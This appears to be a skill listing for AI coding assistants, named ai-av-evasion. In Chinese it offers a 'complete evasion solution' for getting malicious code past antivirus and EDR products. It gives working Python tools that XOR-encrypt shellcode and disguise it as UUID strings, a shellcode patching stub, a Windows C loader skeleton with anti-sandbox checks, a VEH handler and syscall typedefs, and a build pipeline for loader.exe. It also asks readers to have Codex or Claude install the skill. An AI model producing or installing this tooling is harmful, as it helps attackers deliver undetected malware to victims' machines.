Menu
使用AI生成免杀Loader和处理Shellcode，结合多种免杀技术绕过主流杀软检测
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
| name | ai-av-evasion |
| description | 使用AI生成免杀Loader和处理Shellcode，结合多种免杀技术绕过主流杀软检测 |
本Skill提供完整的免杀解决方案，包括Shellcode处理和Loader编写，利用AI生成高免杀效果的恶意代码载体，绕过主流杀软和EDR检测。
当需要：
mov rax,0 → xor rax,rax#!/usr/bin/env python3
"""
Shellcode Patch工具
功能：对Shellcode进行同义指令替换、花指令注入和指令重排
"""
import sys
def patch_shellcode(shellcode):
# 实现Shellcode Patch逻辑
# 1. 同义指令替换
# 2. 花指令注入
# 3. 指令重排
patched_shellcode = shellcode # 实际实现需要根据具体架构进行处理
return patched_shellcode
def main():
if len(sys.argv) != 2:
print("Usage: python shellcode-patch.py <shellcode_file>")
return
with open(sys.argv[1], 'r') as f:
shellcode = f.read()
patched = patch_shellcode(shellcode)
with open('shellcode_patched.c', 'w') as f:
f.write(patched)
print("Shellcode patched successfully!")
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Shellcode加密工具
功能：使用自定义加密算法对Shellcode进行加密
"""
import sys
def custom_encrypt(shellcode, key):
# 实现自定义加密算法
encrypted = bytearray()
for i, byte in enumerate(shellcode):
encrypted_byte = (byte ^ key[i % len(key)])
encrypted.append(encrypted_byte)
return encrypted
def main():
if len(sys.argv) != 3:
print("Usage: python shellcode-encrypt.py <shellcode_file> <key>")
return
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
key = sys.argv[2].encode()
encrypted = custom_encrypt(shellcode, key)
# 生成C语言数组格式
c_array = "unsigned char shellcode[] = {" + ",".join([f"0x{byte:02x}" for byte in encrypted]) + "};"
with open('shellcode_encrypted.c', 'w') as f:
f.write(c_array)
print("Shellcode encrypted successfully!")
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Shellcode混淆工具
功能：将Shellcode伪装成UUID、IPv4/IPv6地址等格式
"""
import sys
import uuid
def obfuscate_as_uuid(shellcode):
# 将Shellcode伪装成UUID数组
uuids = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
if len(chunk) < 16:
chunk = chunk.ljust(16, b'\x00')
uuid_str = str(uuid.UUID(bytes=chunk))
uuids.append(uuid_str)
return uuids
def main():
if len(sys.argv) != 2:
print("Usage: python shellcode-obfuscate.py <shellcode_file>")
return
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
uuids = obfuscate_as_uuid(shellcode)
# 生成C语言数组格式
c_array = "char* uuid_array[] = {" + ",".join([f'"{uuid}"' for uuid in uuids]) + "};"
with open('shellcode_obfuscated.c', 'w') as f:
f.write(c_array)
print("Shellcode obfuscated successfully!")
if __name__ == "__main__":
main()
#include <windows.h>
#include <stdio.h>
// 反沙箱检测
BOOL check_sandbox() {
// 检测特定文件是否存在
if (GetFileAttributesA("C:\\Users\\Public\\1234567.txt") == INVALID_FILE_ATTRIBUTES) {
return TRUE; // 沙箱环境
}
return FALSE;
}
// VEH异常处理
LONG WINAPI VEHHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// 处理内存访问异常，临时设置权限
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Syscall封装
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
// 主函数
int main() {
// 反沙箱检测
if (check_sandbox()) {
return 0;
}
// 注册VEH
AddVectoredExceptionHandler(1, VEHHandler);
// 解密和反混淆Shellcode
// 这里需要根据实际的加密和混淆方法实现
// 内存操作和执行Shellcode
// 使用Syscall绕过Hook
return 0;
}
python shellcode-patch.py shellcode_raw.binpython shellcode-encrypt.py shellcode_patched.bin mysecretkeypython shellcode-obfuscate.py shellcode_encrypted.bingcc -o loader.exe loader.c -mwindows